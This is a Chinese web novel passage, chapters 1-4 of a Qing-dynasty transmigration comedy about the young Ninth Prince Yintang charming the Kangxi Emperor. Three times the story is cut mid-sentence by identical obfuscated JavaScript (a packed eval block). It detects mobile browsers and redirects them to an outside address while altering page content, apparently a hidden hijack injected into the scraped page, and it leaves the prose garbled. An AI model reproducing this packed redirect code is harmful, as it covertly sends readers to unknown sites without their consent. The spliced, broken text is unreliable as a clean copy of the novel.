《九阿哥咸鱼日常(清穿)》 1. 第 1 章 康熙二十五年的夏季特别漫长。 遥远的雅克萨湖面已结了薄冰,紫禁城的酷暑却丝毫没有消退。聒噪的蝉鸣像一袋打翻了的豆子,乱滚得四处都是。 金銮殿里,神色肃穆的帝王,正在对北方战事下达最后的命令。 翊坤宫内,姿容娇美的妇人,目光怜爱地望着床榻——在江南进贡的最上等丝绸铺就的床上,有一只小粉团子正呼呼大睡。 小粉团子摊成了一个“大”字,粉雕玉琢的脸蛋挂着幼儿特有的嘟嘟肉,长而浓密的睫羽安静地覆下,偶尔轻轻颤抖两下。 郭络罗氏欣赏了好一会儿自家儿子这副可爱睡姿,目光落在他衣摆下半露出来圆滚滚的小肚皮,还有扯到大腿的裤子上。 早过了寒露,秋老虎却格外厉害。小粉团子贪凉怕热,赖着她硬是在床前架起了三大盆冰,此时散发着丝丝白雾,将暑气赶得远远地。 郭络罗氏笑着摇了摇头,轻轻捏起被踢在一旁的丝绸凉毯,小心地替小粉团子盖上。 这孩子和他五哥一样,打小就比别人能睡,也不知是不是上辈子缺了太多觉,想让他早起比让鱼会飞还难些。 起先宜妃还试着叫他早些起来,结果这孩子起床气忒大,早上没睡好,一天下来都不爽利。试了几次,她便也由着他了。 按理这不合规矩,皇子们就算尚未到读书认字的年纪,也没有睡到大天亮这种怠惰的风气。偏生她宜妃宠孩子是满宫皆知的,因此别人家孩子需得卯时便早早起来请安、启蒙,只有她院里这只粉团子,每日都能睡到自然醒。 她十七岁便入了这深宫,才四个月便封了嫔。生的大儿子由太后抚养,这两年又连续生了二子,可谓圣眷不断。有些眼热的便在背后说她恃宠而骄。她也不在意,反倒在一些事情上,借着这个由头做些无伤大雅的出格举动,反倒没人真的会去给她上纲上线。 她不求泽被母家,不借圣宠扶持自家阿玛、兄弟,只愿这几个孩子平安顺遂。 胤祺养在太后那儿,便是康熙对她的照拂。至少这个孩子一辈子只要不犯糊涂,就没人能动得了他。至于胤禟和胤禌……她看向睡得正香的小娃娃,轻轻叹了口气。 小粉团子三岁生辰刚过,再有年把时间,就该去惠妃的延禧宫住着,再过一两年,便要住进阿哥所入上书房读书。这些都是早就定好的。 那时别说睡懒觉,就是学业稍有怠惰,也是要受责罚的。 就这孩子惫懒贪玩的性子,可怎么好? 想到这里,郭络罗氏一双美目便染上了几分忧色。 小粉团子睡得舒服,对此浑然不觉。也不知道梦见了什么,嘴角嚼巴几下,腮帮子鼓鼓地像只仓鼠。 郭络罗氏见他这副模样,饶是心中有事,也忍不住微笑起来。 她伸手轻轻摸了摸粉团子的小脸蛋,却被他一把抱住了手,还无意识地把小脸蛋在她白皙的手背上蹭了蹭,手背上传来的触感比床上的丝绸更加光滑柔软。 宜妃任他抱了一会儿,才小心地将手抽出来,轻手轻脚地离开。 今日一早梁九功便来传了消息,万岁爷要来院里用午膳。虽然不是什么新鲜事儿,但也得提了精神盯着,免得出了什么岔子,丢了自家的人。还有,照例今儿也是老五回来的日子,不知道父子能不能碰上…… …… 胤禟是被蝉鸣吵醒的。 他一脚蹬掉了身上盖着的丝绸小凉毯,侧耳听了听外头。除了小厨房方向远远传来的人声,院子里静谧得连风都止住了。 除了那只越叫越响亮的蝉。 昨天也是被这家伙吵醒的,早知道就叫宫人把它给捉了油炸。 怀念着梦里吃到的炸鸡薯条奶茶,胤禟摸索着把丝绸凉毯拢起来,抓着两边团成两团,盖住眼睛、捂住耳朵,试图再次入睡好继续大快朵颐。 知了知了知了知了知了……简直是魔音入耳。 胤禟被这只不知疲倦的蝉叫得心烦意乱,直到最后一点睡意也被驱散得无影无踪,才不情愿地将毯子一扯,睁开眼睛。 阳光透过菱花窗格子在床顶投下光斑,他恍惚间想起了前世。 穿越之前,他叫应伯棠,在A大当着白天殚精竭虑搞实验、晚上抓耳挠腮跑数据的心理学博士生,为儿童发展心理学的庄严殿堂制造一些边角料。 某一日他心血来潮,去图书馆翻看古籍,想试着看能不能找到一些古代儿童生活和心理的历史记载,为现在的研究提供一个新的视角。结果还真的被他找到了一本清代前期的古籍,记载内容翔实,里面的一些作者个人评价观点,竟然和现代研究隐隐相似。 应伯棠如获至宝,早出晚归在古籍室呆了一周,终于整理完毕重要内容。这时,他才想起来,这本书竟然没有在封面记载作者姓名。 出于引用文献的严谨,终于被他在最后一页一行小字上发现了作者信息。 只是他还没来得及看清楚,忽地眼前一花,再一睁眼,就来到了这个时代,发出了自己在这个世界的第一声啼哭。 三年的时间里,他早就接受了自己穿越的事实,也逐渐适应了这具人类幼崽的身体,更习惯了“胤禟”这个称呼。 前世在铺天盖地的自媒体熏陶下,他对清朝特别是九龙夺嫡这段历史有所了解,当然知道历史上这位九阿哥落得个“赛思黑”的悲惨下场。 不过还好,留给他用来挽救的时间还很充足。 根据他浅薄的历史知识,在雍正即位后,年长的兄弟中,反倒是胤祺、胤祐这些打酱油的咸鱼阿哥们得以善终。 胤禟觉得,咸鱼之路,大有可为。 胤禟摸了摸小肚皮,那里刚刚发出了悠长的“咕咕”声。 小拳头揉了揉惺忪的睡眼,披着衣服、趿拉着鞋子,胤禟精神抖擞地出了房门。 他打小就不喝人乳,早早地换了羊乳、牛乳,因此院内并没有留着乳母,只找了些伶俐的宫女、太监伺候着。 外头值守的宫女莲珠见了小主子,连忙伺候洗漱穿衣。一番折腾后,一个锦衣华服、人形手办似的小娃娃新鲜出炉。 嘴里接连塞了两块马蹄糕,胤禟觉得自己没那么饿了。 “五哥今天会过来吗?”他看了眼天空,太阳明晃晃地悬在半空,已是午时。 五阿哥胤祺是宜妃的第一个孩子,只不过那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405616|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候她尚是宜嫔,胤祺出生后便交由佟佳皇贵妃,短暂地抚养了一段日子,之后又由太后抚养。每月,胤祺都会按惯例来探望一次宜妃,通常是过来陪着用完午膳[1],谈谈天便回去。 胤祺性子温柔敦厚,每回来都会给他带好吃的糕点,有时候从太后那得了什么新鲜的小孩玩意儿,大多也会带来送给他。 最重要的是,胤祺是所有阿哥中,唯一不会和他玩得正在兴头上,忽然说“我该回去学习了”的。反而上树翻墙,撵鸡逗狗,只要胤禟想玩儿,他就舍命陪弟弟。 内心安全感强,乐于分享,爱护小辈,尊敬长辈,还没有学习压力,不得不说,这位五哥确实被太后养得很好啊。 胤禟特别喜欢这个哥哥,因此回回都要耍赖,拉着胤祺玩上好一阵才放他走。 “是,九阿哥。算着时辰,五阿哥应该快到了。”莲珠道。 “哦,知道了。姜汁撞奶小厨房可准备了?”胤禟问。 莲珠笑着道:“九阿哥放心,都备下了。还有……” 话音未落,胤禟忽然朝她一嘘声,莲珠不得已止住了话头。 不知道是不是发觉屋子的主人出来了,树上那只蝉方才忽然爆发一阵巨大的蝉鸣,似乎是在示威一般。 胤禟很快在一处树枝上找到了这两天扰他美梦的始作俑者。 树枝不高,也就离成年人两个脑袋的距离。那蝉体格巨大,乌黑油亮,是只好蝉。只是叫声过于挑衅了。 胤禟觉得手脚有些发痒。 在莲珠发觉前,他就挽好了袖子,撒丫子朝树奔去,转眼就爬了老高。 莲珠其实是见惯了这场面的,但今日不同旁时,若是被万岁爷撞见……光是想想,莲珠冷汗就冒了出来,连忙吩咐旁人:“去,多叫两个个高的太监过来,就说九阿哥又上树了,让他们赶快抱下来。”一边在树下喊:“九阿哥,快下来,一会儿万岁爷要来了!” 胤禟虽然贪睡,但那是出于小娃娃长个子的需要。平日里他还是挺注重锻炼身体的,摸高、跳远、跑步一个不拉。爬树虽然小众了些,但也不失为一个极好地锻炼方式。 这棵树树干不粗,刚刚够胤禟两手合抱,被他视为“新手村”。打两岁七个月起,他就爬过多次。 头几回差点儿把宫女太监吓哭一片。 特别是第一次爬树,差点一脚踩空、眼见要掉下来时,两个胆小的宫女担心主子出事,自己也跟着小命呜呼,吓得腿软“扑通”坐倒地上,半天起不来。 不过一回生二回熟,这树眼下已经是胤禟的舒适区。 他很快就爬到了蝉所在的树枝。 近处看,蝉比他想的还要大,小手掌一只都盖不住,若是抓了给五哥看,五哥一定会觉得自己了不起。 胤禟的好胜心一下子起来,他生怕蝉跑了,两只小腿夹紧树枝,身体紧贴树皮,两只小手空出来,呈半握空心状,慢慢朝蝉合拢。 眼见蝉就要落入掌心,胤禟全神贯注,大气不敢出,全部心思都贯注在双手上。 他过于专注,以至于无论是树下莲珠的叫喊,还是远处正朝这边来的一行人,他都丝毫没有察觉。 2. 第 2 章 “来了来了,快接驾!”一个年龄不大的小太监急急跑来,看见树下乱糟糟地,急得跺了跺脚:“万岁爷马上到了,你们还在这做什么!” 小太监不敢停留,一溜烟给宜妃报信去了,只留下树下忙做一团地众人面面相觑,一时拿不准是该跪下接驾还是该先把树上那小祖宗弄下来。 还是莲珠一咬牙,带头跪了。毕竟九阿哥爬树未必立即被发现,但是见了皇帝不跪,他们眼下就得被治个大不敬之罪。 众人刚哗啦跪了一地,康熙就到了跟前。 妃嫔宫里伺候的下人本就算不得多,此时聚在树下的众人尤为扎眼。康熙方才远远便瞧见树下热闹非常,走进了一看,却没发现什么异常。 他是何等精明的人,见这阵势,自然知道这些下人有事瞒着。梁九功见康熙瞥了一眼自己,赶忙清清嗓子,问道:“没规没矩地,都攒在这里,是有何事?” 问了两句,没人敢回答他。梁九功看了看领头的宫女莲珠,正要叫她回话,恰在这时,胤禟捉蝉挪动身体,碰着树枝树叶,发出一片簌簌响声。 康熙下意识抬头往树上看了看。 这一看,目光就黏在树上了。 七、八尺高的树枝上,一个小小的身影正在算不上敏捷地攀爬着,身上穿着的湖蓝色丝罗小袍子,正是胤禟平日常穿的那件。 此时他的两只袖子高高挽起,露出小藕似的两节雪白手臂,小嘴紧抿,显然注意力高度集中。 伺候在旁的梁九功观主子神色不对,顺着康熙的视线往树上一看,也看见了九阿哥。但康熙不说,他也不敢吱声,只得陪着主子,看树上那小团子在树枝间拱来拱去。 主仆二人仰头看了会儿,康熙正要发话教人把九阿哥弄下来,忽然,两只黑色不明物体,堪堪擦着康熙的鼻子落下。 定睛一看,那竟然是一双小小的靴子,七仰八叉地倒在地上。 原来,是胤禟觉得靴子爬树不趁脚,三两下给蹬掉了。 跪着的宫女太监已经有人开始发抖了。 康熙磨了磨后槽牙:“梁、九、功——” 梁九功连忙冲伏地的宫人道:“还跪着干嘛,快抱九阿哥下来,万一摔着了怎么办!” 宫人们连忙起身,双手高举围在树下大叫:“九阿哥,奴才们抱您下来!” 胤禟对树下的事情毫无察觉。“扑”地一声,两只肉呼呼的小手合围,蝉成了瓮中之鳖,徒劳地扑扇着翅膀。 他舒了口气,把蝉小心地拢到手心,半立起身子,准备开口唤个太监,把自己抱下树来。毕竟两手抱着蝉使不上劲,他身形力气尚小,靠自个儿下来着实费劲。 咦,怎么树下这么吵闹?他下意识探头往下看去,正对上下头一人仰面看他,明黄长袍、不怒自威,却不是他老爹是谁? 胤禟身体忍不住一抖,腿脚一松,整个人就掉了下来。 想象中的疼痛并没有传来,身体落在一个有些坚硬的怀抱,淡淡的艾草香气混了檀香钻入鼻腔,是康熙夏日常用的熏香。 胤禟心里暗叫不好。 这帮家伙也忒不靠谱了,康熙今天过来,怎么没人提醒他?要是知道,他也不会这时候上赶着去爬树,等着被抓现行。 康熙作为一位对孩子严格到历史上有名的父亲,大部分皇子都闻其名而丧色,自己也不例外。 当初自己决定走咸鱼的花路,那必然是要从小立好人设的。 佛系不思进取人设已经有了他五哥,谨慎系与世无争人设已近有了七哥,留给他的选择不多了。 他也考虑过废柴系不学无术人设,但他三岁壳子里毕竟住了个大龄灵魂,高低还是个博士生,怎样看都不太像能装出废柴的样子。真要他学唐宣宗李忱装憨卖傻几十年,他肯定憋不住。思来想去,只有立立顽劣系不堪大用人设了。 挺好,符合他的活泼本性。 不过在这深宫里,立这个顽劣人设,还是有风险的。风险不大,也就是屁股遭殃。 虽然他打小顽皮,但毕竟以前年纪太小,身体行动受限,捅出的篓子大不到哪里去,康熙口头训斥两句便算了。 但自打半年前,有一次他偷偷挪开了康熙的凳子,让他好摔了个屁股蹲,然后就被康熙摁在榻上扒了裤子,重重给了好几巴掌。那次他屁股足足疼了三日,宜妃还因为管教不严扣了半个月月例。 打那次起,胤禟就知道,自己到了会挨打的年纪。 之后但凡康熙出现的场合,他都注意多了。毕竟人设虽然重要,但也没有必要和自己的屁股过不去。 今天算他倒霉,撞枪口上了。爬树还掉下来这种事,放在哪家,都少不得一顿竹笋炒肉吧?还不知道康熙一会儿要怎么惩罚自己呢。自己受罚也就算了,搞不好还得连累宜妃。宜妃是个爱护孩子的好母亲,他可不想她受罚丢脸。 胤禟果断决定,装晕。 康熙低头看着自己怀中的小粉团子。 明明三岁了,抱在怀里还是轻飘飘的,和他上头几个壮实的哥哥们完全不同。身子倒是软软弹弹的,还带些奶香,手感比那几个硌人的硬臭小子舒服多了。就这么一个小东西,胆子倒是比天还大些,还没成人大腿高,就敢爬树。 虽然满人说“抱孙不抱子”,但这也不过是对《礼记》中“君子抱孙不抱子”的延伸,实际生活中并没有严苛的遵守要求。他不是古板不懂变通的君王,虽然平日里对儿子们确实要求严格,几乎很少有亲密的动作,但在他们小时候,也都是亲手抱过的。[1] 他仔细看了看小粉团子的脸。眼睛闭得太紧,嘴巴又抿得过深,连颊边一个小小的酒窝都显了出来,装晕的痕迹实在太过明显。 身边的宫人又哗啦跪了一地。 宫女太监抖成了一片,就连梁九功也大气不敢出。虽然明眼人都看出来九阿哥是装晕,但要是万岁爷发了火,今天恐怕大家都得吃不了兜着走。 但好在前方战事大捷在望,康熙今日心情不错,并没有半分教训儿子的打算。 不过看着小粉团子这模样着实可爱,康熙忍不住想逗逗他。 “咳咳。”他清了清嗓子,朝梁九功道:“九阿哥受了惊吓,晕过去了,没有大碍。请太医来扎两针,就能醒了。” 梁九功:……好像很久没看见万岁爷这么吓唬小孩子了。 胤禟:……虾仁猪心啊! 康熙话音未落,就感到怀里的小粉团子扭动起来。他的唇角忍不住勾起一抹恶作剧得逞后的微笑。 “唔……这是怎么了?”小家伙四下张望,乌溜溜的圆眼睛转了一圈,最后才看向康熙。小脸上露出一股迷茫又惊喜地表情:“汗阿玛!您怎么来了?是孩儿太想您,出现幻觉了吗?” 康熙:……你说这话你自己信吗? 他偏爱宜妃,这是宫内宫外皆知的。他也没什么好避讳,有太皇太后和太后坐镇,后宫乱不起来。连带着爱屋及乌,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405617|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胤禟也更喜欢些。虽然和太子比不了,但比其他阿哥算上心多了。特别是这孩子机灵聪明,是他几个儿子中最出挑的,人又长得粉雕玉琢,和他额娘一样好看。 论聪明、论长相,这孩子什么都好,就是娘胎里带来的顽皮。生下来不足6个月,话还不会说,就会与人逗趣了。等到能跑会跳,什么拔了猫的胡子、剪了狗的尾巴,顽劣程度简直与聪明成正比。 最可恶的是,明明做了坏事,还经不起批评,说重了点话便哭哭啼啼,偏生得好看,哭起来模样也惹人怜爱,教人舍不得下重手。 唯一一次动手打他那回,也是自己摔狠了,加上前朝烦心事多,才气急败坏亲自上了手。 不过打那以后,这小东西倒是收敛了不少。只是如今看来,还是顽性不改。爬树这种事情,对三岁孩子还是太过危险。今日若不是他接着,还不知会摔成什么样儿。 涉及人身安全,康熙决定,还是得好好敲打敲打这小东西。 康熙看了一眼梁九功,又看了看地上的小靴子,梁九功会意,叫莲珠伺候小主子穿上。 康熙这才把胤禟放下,作出一副严厉的架势:“方才你在树上做什么?若不是朕接住你,你就小命呜呼了!” 胤禟腹诽,若不是您来,我也不会掉下来呀。 不过这句话给了他提示。 康熙看见一双小手举到自己跟前,双手并拢捂得严严实实,不知道里面藏了什么“宝贝”。他个子小,为了尽量举得高些,还努力踮了踮脚。 在康熙疑惑的视线中,小团子奶声奶气道:“汗阿玛,方才儿子看见树上有一只大知了,叫得可响亮了,儿子觉得这一定是知了里面的巴图鲁,就想抓来送给汗阿玛。” 宜妃已得到了消息,特意命乳母抱了走路尚不利索的胤禌,带着胤禌赶忙来接驾。此时听见胤禟这话,不由停住了脚步。 宝贝儿子爬树这件事她早听下人提过,也叮嘱过多次,但这孩子做事总有自己的主意,她劝她的,他爬他的。没承想,今儿差点出了大事。 一方面,她心中喜悦儿子没有大碍,另一方面,她也担心康熙因此责难胤禟。 两头情绪煎熬中,她心思已转过千回。眼见着康熙和胤禟,她脚下步伐加快,就要上前请安,趁机把过错揽在自己身上,却突然听见胤禟说了这番话。 康熙将信将疑地看向胤禟双手。 圆乎乎的小手拢在一起,不知藏了什么在掌心,乌溜溜的大眼睛扑闪扑闪,里面是满满的真诚。 那蝉这会儿已经安静下来,许是没感到威胁,忽然振翅叫了一声。 胤禟听见蝉鸣,咧开小嘴笑了。他将合拢的小肉手松开了一只,迅速抓住蝉的两条后腿,尽力伸直小胳膊,将蝉举得更高一些,好让康熙看清蝉的原貌。 伺候在旁的梁九功连忙捉了蝉,递给康熙看了看。 身形巨大、黑光发亮、振翅有力,康熙心想,确实是只好蝉。好吧……虽然顽皮了些,但还是挺有孝心的。 康熙此时已经打算放过胤禟,不过又不想轻易饶了他,免得他不长记性,便故意问道:“那小九告诉阿玛,为什么要捉知了送给汗阿玛?送给额娘、弟弟不好吗?” 这话对个三岁孩子说,其实已经算是刁难了。 宜妃觉得自己才放下的心又揪了起来。若是胤禟回答得不妥,方才那便是欺君了。 梁九功也忍不住看向胤禟,想知道九阿哥要如何回答。 3. 第 3 章 只听胤禟奶声奶气地响亮回答道:“汗阿玛是大清的巴图鲁!巴图鲁大知了只能送给巴图鲁阿玛!”小胸脯还配合地挺了挺。 蝉似乎也受到了胤禟情绪的感染,恰到好处高昂地叫了起来。 梁九功忍不住笑了笑,宫里都说翊坤宫里的小阿哥顽劣,看来顽劣是真,天真赤诚也是真。 宜妃手里的帕子下意识轻轻拍了拍胸口,那里的大石头总算落了地,一双黛眉由皱转舒,快步走向前去。 康熙更是心花怒放,哈哈大笑两声,弯腰一把抱起小粉团子,让他坐在自己胳膊上,又拉起正要行礼的宜妃,笑道:“走吧,看看今日朕有什么口福。” …… 桌上已端正摆好了四果盘四蜜饯。 西瓜是京西玉泉山晚上摘下,赶了一夜路抢在宫门开之前便守在外头,等时辰一到便送进来,选了沙瓤略熟的。葡萄、香瓜、杏也是御膳房选了最新鲜的,一早同今日的份例领了过来。 康熙喜甜,蜜饯更是精心挑选。蜜渍樱桃、糖脆梅、蜜枇杷,都是康熙爱吃的。还有一味渍脆桃,是应了时令的鲜果渍。 原本若是比着康熙的标准,自然不止这么些东西。但是今早梁九功来传信的时候,并未提到御膳房会准备午膳,宜妃也只能按妃子用膳份例备着,不敢逾越。康熙对待餐食之事一向崇尚俭省,因此宁可简单些,也万不能自作聪明出格讨好。 毕竟在这深宫之中,循规蹈矩永远比锦上添花重要得多。 胤禌还小上不了桌,宜妃抱着他坐在膝上,由着康熙逗了逗、又问了日常饮食如何,便教乳母带他下去了。 距离用膳还早了片刻,加之康熙听说老五今日也会来,便不着急上主菜,由宜妃伺候着用了几颗蜜枇杷,陪着说了些家常话,话题便到了胤禟的学习上。 康熙朝的阿哥们到了五六岁,就要搬去阿哥所,接受统一的系统教育。尚未到年纪的小阿哥,也不能成天介的只顾着玩,有精奇嬷嬷训练礼仪,识字太监教导汉文启蒙,额娘和乳母强化满语日常对话。骑射方面,还会由谙达教习小弓。 胤禟也是三岁生辰过了,才开始接触汉文。这两日由识字太监带着读了两首古诗、几句《三字经》,有些类似前世世界里儿童学习英语的“磨耳朵”儿歌,不求甚解,不过是培养些语感。 宜妃说了这几日的开蒙,康熙笑道:“这孩子聪慧,得上些心让他用用功。” 胤禟觉得嘴里嘎嘣脆的糖脆梅突然就不甜了。 天爷啊,他才三岁啊!在现代,三岁的孩子还赖在爸爸妈妈怀里听绘本、看小猪佩奇呢!康熙居然希望他要开始用功学习?! 这和自己前世那些自媒体鸡娃博主有什么区别! 胤禟觉得,如果康熙某一日穿越到他前世的时代,没准真能当上一名鸡娃头部博主,首页全是《幼儿园小班,孩子识字三千是正常水平吗?》《孩子五周岁,每天不想看电视只想学习怎么办?》之类的帖子。 他当然不想干这种明显有违儿童发展规律的事儿。虽然学习文言文,对经历过高考语文的他来说并不是什么难事,但开了这个头,恐怕他离每天早上三四点就要爬起来读书的日子也不远了…… 胤禟打了个哆嗦,决定为自己往后睡眠健康争取一下。 康熙觉得什么扯住了自己的袖子,低头一看,看见小粉团子嘟着小嘴,肉乎乎的小手扯着他的袖子摇摆,奶声奶气道:“汗阿玛,那些汉文好难呀,长得奇奇怪怪的,也不知道说的是什么,儿子想学点别的。” 这副糯叽叽软乎乎的模样,和方才那个大胆包天上树捉蝉的顽劣小子大相径庭。 康熙平日总教导儿子们要像个男子汉,导致除了太子,这些孩子们走的都是硬汉路线,对他恭敬有加亲近不足,也就胤禟这小东西不怕他,打小就爱抱着他撒娇。 他面上不说,心里还是很受用的。 康熙伸手轻轻刮了一下胤禟的鼻子:“你想学什么?” 胤禟小手叉腰,小胸脯一挺,声音脆亮:“儿子想学骑射,长大后也成为巴图鲁!” 康熙看着面前刚刚和桌子一般高的小粉团子,觉得十分有趣,存了逗逗他的心思:“那胤禟为什么想成为巴图鲁呀?” 胤禟上头有几个哥哥,小时候也都说过类似的话,康熙也这样问过他们,对他们的回答记得清清楚楚。太子是为了成为汗阿玛第二,大阿哥是觉得成为巴图鲁本身就是件厉害的事情,胤禛没想过成为巴图鲁,胤祺是想要保护皇玛嬷、汗阿玛、额娘和弟弟,胤禩是想保护大清。 这些孩子,每一个都刚砺得如同天上的雄鹰,和眼前这只软软弹弹的小粉团子完全不一样。 而就是这个小东西,说自己想成为巴图鲁? 康熙甚至暗暗对胤禟的回答有几分好奇。 小粉团子丝毫没有犹豫,回答的声音也很是响亮:“儿子成为巴图鲁,就可以抓更大的知了送给汗阿玛!” 康熙心里一动。 三岁的孩子,哪里知道什么巴图鲁。肯定是听人提起过,觉得巴图鲁是天底下最厉害的人,知了又是他最喜欢的虫子。小孩子还表达不清自己的心意,但言下之意,就是胤禟想把全天下最好的东西送给自己。 这是什么?这是孩子对阿玛纯粹的爱意啊! 配合胤禟睁大的星星眼,康熙充分感受到了这小团子对老父亲满心满眼的孺慕之情。 这种被孩子充分依赖和信任的感觉实在太好了。 任是叱咤风云的一代帝王,康熙此刻觉得自己心里某个地方突然变得柔软,然后悄悄地、接二连三地开出了花来,直到成为一小片随风摇曳的花海。 上次有这种感觉,还是太子小小的时候,抱着自己的脖子软软地喊汗阿玛。 左右没有外人,康熙放任自己沉浸在这美好而脆弱的感受中。 宜妃看看胤禟、看看康熙,笑着抿了口茶。 片刻,康熙收回神思,望向宜妃道:“也好。这孩子比他的哥哥们瘦弱些,既满了三岁,明日便去射殿选个称眼的谙达,平日里教些小弓、拳法,把身体底子练上去。” 通常谙达都是内务府直接指派的,康熙开口让胤禟自己来选,已经是恩典了。 “是。”宜妃起身行了个礼。 胤禟拍着小手笑道:“谢谢汗阿玛!等我学会了射箭,就能一箭射下树上的知了,再也不用去爬树了!” 话音刚落,“噗嗤”一声,门外传来笑声。 屋内几人循声朝外望去,只见门外站着两位身量未足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405618|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小阿哥,一位是胤祺,另一位是胤禛。 胤祺捂着嘴,眼睛笑得弯弯的,像天上两颗璀璨的星星。 胤禛则有些拘束地站着,小手抓着衣角,把那片衣服抓得有些皱巴,只是嘴角也挂着一丝没有藏住的笑意。 他俩刚到翊坤宫门口,还没进屋,就瞧见梁九功立在一侧,手里还提了个竹篾编的篮子。 见两位小阿哥来了,梁九功悄悄朝他们摆了摆手,然后手指了指里屋。 屋里传来康熙与胤禟的对话。 两位小阿哥停下了脚步,对视一眼:汗阿玛也在? 胤祺没觉得什么。 按照宫中规矩,给其他妃嫔抚养的皇子,是不能随意探看母妃的。但胤祺不同,他抚养在皇玛嬷膝下,只要皇玛嬷不拘着他,没人敢说他来翊坤宫的不是。不但每月能够按例来看看,有时想和九弟玩想得紧了,磨一磨皇玛嬷,她老人家也无不应允。 至于汗阿玛,也没什么可怕的,除了回回都要跟自己念叨抓紧学习汉文,念得他耳朵都起茧子了。不过念完也就念完了,用皇玛嬷的原话就是,“你汗阿玛也不敢追到慈宁宫来打你”。 胤祺这么想着,把袖子里用绸布裹着的萨其马往里塞了塞,那是他特地从慈宁宫里带来给九弟的。 然后他就听见,小九三句不离抓知了,终于没忍住笑出了声。只觉得自己这弟弟,真是天真可爱极了。 如果不是因为汗阿玛也在,胤禛可能笑得比胤祺还大声。 他前两日身体有些不适,佟佳氏担心,便让他回来住了两日。今日随佟佳氏来慈宁宫请安,太后知道他与胤祺交好,便教他去找胤祺玩。胤祺刚起来没多久,见胤禛来了,干脆邀他来翊坤宫看弟弟们,顺便用个午膳。 翊坤宫的厨子手艺是极好的,虽比不上御膳房用料豪横,但胜在精细别致。胤禛毕竟还是个半大孩子,贪嘴儿也是有的,另一方面,也确实想来看看胤禟。 因为胤祺的原因,胤禛在住进阿哥所之前,没少被他拉着来看这个宝贝弟弟。那会子胤禟连走路都还不会,是个奶乎乎的漂亮小娃娃,见到他,就伸出小手手要他抱,还一边咿咿呀呀地朝他笑。只是后来他住进了阿哥所,功课压力大,他便一年难得来几回。 见胤禛没有拒绝,胤祺便同太后说了,太后问了佟佳氏也没意见,便由着俩孩子来了。 只是没想到,居然撞见了汗阿玛。 在胤禛心里,康熙待他亲近不足严厉有余,他对这位汗阿玛更多的是敬畏胜过孺慕。原本汗阿玛不在,他这也就是小阿哥们之间的串门。偏生今日撞见汗阿玛,这屋里有汗阿玛、有宜妃、有胤祺和胤禟,自己就显得格格不入。 这,算不算是不请自来?会不会让汗阿玛生厌?自己要不要先回去?片刻之间,胤禛心头已闪过十数个念头。 他心中正纠结,便听见胤禟那番捉知了的说辞。毕竟是小孩儿,听见有趣的,一时也忘了眼前的担忧,此时不禁流露出一点孩童天真的笑容来。 只是这点笑容,在屋内众人投来的目光中,很快又被他心头那些忧虑强压了下去。 见大人们看了过来,胤祺抬脚跨过门槛往里走去。 留在他身后的胤禛站在门口,走也不是,进也不是。 4. 第 4 章 胤祺走了没几步,发现胤禛没跟上来,当他是不好意思,便好心回头去牵他的手:“四哥,快进来罢。” 这么一说,众人的目光全投向了站立不安的胤禛。 胤禛心思敏感细腻,方才短短片刻,心思已经转了好几瞬。一会儿想着是不是该直接回去,一会儿又想着康熙和胤禟你来我往的一问一答,就像寻常人家的阿玛关心孩子。而自己长大到现在,汗阿玛都没有用这样慈爱的语气同自己说过话。 想到这里,他的小脑袋不禁垂了下来。 胤禟看着背光中,胤禛的头低垂,明明是合身的衣服,偏他穿着看起来有些宽松,更显得他身影落寞,整个人就像春日里的一棵枯树,与屋内融洽的氛围格格不入。 胤禟细细一思索,便明白了胤禛心情低落的原因。 托五哥的方便,这位大清未来的接班人,他打小见过多次。 与想象中自带的帝王气场不同,第一次见胤禛的时候,瘦瘦小小的他站在结实的胤祺身边,像株有些发育不良的小树苗,脸上没有什么表情,看起来怀着满腹心事。 出于和未来皇帝搞好关系,也给自己留好后路的动机,胤禟当时果断伸出小手手,咿咿呀呀地要胤禛抱。 胤禛的表情有些意外,在宫人的帮助下,他轻轻抱了一下还是个小婴儿的胤禟。胤禟还记得,胤禛身体明显有些发僵,脸上微微发红。在胤禟冲他笑了笑后,便慌慌张张将胤禟递还给宫人。 这,明显就是童年时期,放养式严管的表现。 想来也是,虽然胤禛由贵妃抚养,地位在皇子中算高的,但佟佳氏毕竟没有真正做过母亲的经验,对胤禛虽然关心,但她给的,未必是胤禛成长中需要的。 胤禟不禁想起那些正史野史真假难辨的传闻,才忽然察觉过来,这位未来的帝王,在他这么多年的人生中,所体会到的亲情实在寥寥。而这一点亲情,在几年后佟佳氏去世后,就更所剩无几了。 胤禟不是圣母心,但无论是前世还是现在,他始终真心希望,每一个孩子都能有一个幸福的童年,无论贫穷富有。 这也是他选择儿童发展心理学作为博士研究方向的初心。 